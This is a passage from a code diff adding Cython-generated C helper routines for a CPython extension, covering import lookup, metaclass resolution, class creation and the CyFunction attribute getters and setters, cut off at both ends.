PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__25); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = 